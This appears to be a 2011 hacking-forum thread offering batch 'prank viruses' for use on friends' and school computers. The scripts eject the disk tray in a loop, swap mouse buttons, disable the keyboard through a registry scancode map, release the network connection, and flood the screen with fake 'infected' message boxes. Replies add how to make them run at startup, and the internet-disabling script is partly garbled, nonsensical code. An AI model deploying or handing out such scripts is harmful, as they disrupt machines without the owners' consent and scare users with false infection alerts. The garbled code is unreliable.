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Fun batch virus'! (No more computer crashing)

Hey guys, I figured that we needed a change of things. I decided to make a few new batches from DELmE's batch genorator that can be used to screw around and have fun with your friends without causing perminent damage to their computers! So I present to you the batches!

This first one is used to open/close the disk tray nonstop every 10-15 seconds. I like to use this one at school when I am bored 😁

Open/Close Disk Tray
Quote: @ echo off
rem --
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem --

This next one is a blast to use. What this batch does is it swaps the mouse buttons, lol, it is super fun to see people get really confused when their left click isn't really left click 🎉

Swap Mouse Buttons
Quote:@ echo off
rem --
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem --

Next we have a batch that disables the keyboard, it pretty simple, but fun to see your friends rage because their keyboard isn't working 😝

Disable Keyboard
Quote:@ echo off
rem --
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start "nokeyboard.reg"
rem --

This one is a bit more on the evil side if anything else. What this batch does is disables your internet, which we all know can get annoying when your internet isn't working 😠

Disables Internet
Quote:@ echo off
rem --
rem Disable Internet
@Echo off & @@Break Off
Ipconfig /release
%jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
rem --

Lastly, if you want to be a real douche to your friend, just spam him with message boxes 😏

Spam With Message Box
Quote:@ echo off
rem --
rem Spam With VBScript Msgboxes
echo Do>>msgbox.vbs
echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
rem --

Well, there you guys go. Have fun with your friends and don't get caught 🤗

Also, if anyone gets a chance to test these, please leave a comment if you find anything wrong with them. Be sure to leave a thank you! 😉

Lol? Way to steal this from DELmE's Batch virus Generater. Lol
A wise man once said...
"Throw that ass in a circle"
(Aug 30, 2011 06:52 PM)Zebaas Wrote:  Lol? Way to steal this from DELmE's Batch virus Generater. Lol

Not stealing? lol? If you want it take it, if not leave. 🤝
https://hackforums.net/showthread.php?tid=68004
A wise man once said...
"Throw that ass in a circle"
Read me the agreement to that and tell me where I went wrong.
(Aug 30, 2011 05:36 PM)53CUR1TY Wrote:  ...I decided to make a few new batches...

Saying you Made it. Which, Is a lie.
A wise man once said...
"Throw that ass in a circle"
(Aug 30, 2011 07:20 PM)Zebaas Wrote:  Saying you Made it. Which, Is a lie.

I suppose I should specify where I made them, but regardless, they were new, and it isn't against the agreement. It states that I cannot sell or trade the batches made. Am I selling? No. Am I trading them for anything? No.
But you still said you made them, Which you didn't.
Sorry If I didn't specify. Jsut because it is not against the Rights, Doesn't mean you should claim them as your own.
Saying you "Stole" it was wrong. I should've said "You took credits from someone else's Work"
'
A wise man once said...
"Throw that ass in a circle"
(Aug 30, 2011 07:39 PM)Zebaas Wrote:  But you still said you made them, Which you didn't.
Sorry If I didn't specify. Jsut because it is not against the Rights, Doesn't mean you should claim them as your own.
Saying you "Stole" it was wrong. I should've said "You took credits from someone else's Work"
'

I understand I did that, I made this quickly because I didn't have a lot of time. Thank you for the critisim, it is always accepted. I made an edit to the post.

Mmkay, That's all I wanted. It annoys me bad, Idk why. Hope we are at peace now. If not, oh well
A wise man once said...
"Throw that ass in a circle"
hey dude could you tell me how to make the batch files execute during the start up
If you have Xp, You could Go to Start Menu > All Programs > Startup.
or
if you have another OS
C:\Document And Settings\%username%\Start Menu
A wise man once said...
"Throw that ass in a circle"
(Aug 30, 2011 08:01 PM)Zebaas Wrote:  Mmkay, That's all I wanted. It annoys me bad, Idk why. Hope we are at peace now. If not, oh well

I was never mad, just trying to prove a point like us humans always try to do, anyways, we're chill, don't sweat it.

Mmkay, Jsut making sure. Sorta new to HF and don't want to be ahted right off the back XD
A wise man once said...
"Throw that ass in a circle"
I dont think "msg" works on W7 anymore, and unfortunately are school all switched to W7, also how do we end these once we have ran them on there computer, do you have to do it through taskmanager?
Ok, shit I accidentally ran the one that switches your mouse buttons, how can I fix this and put my mouse back to normal?
You should really post the code that reverses each one of these


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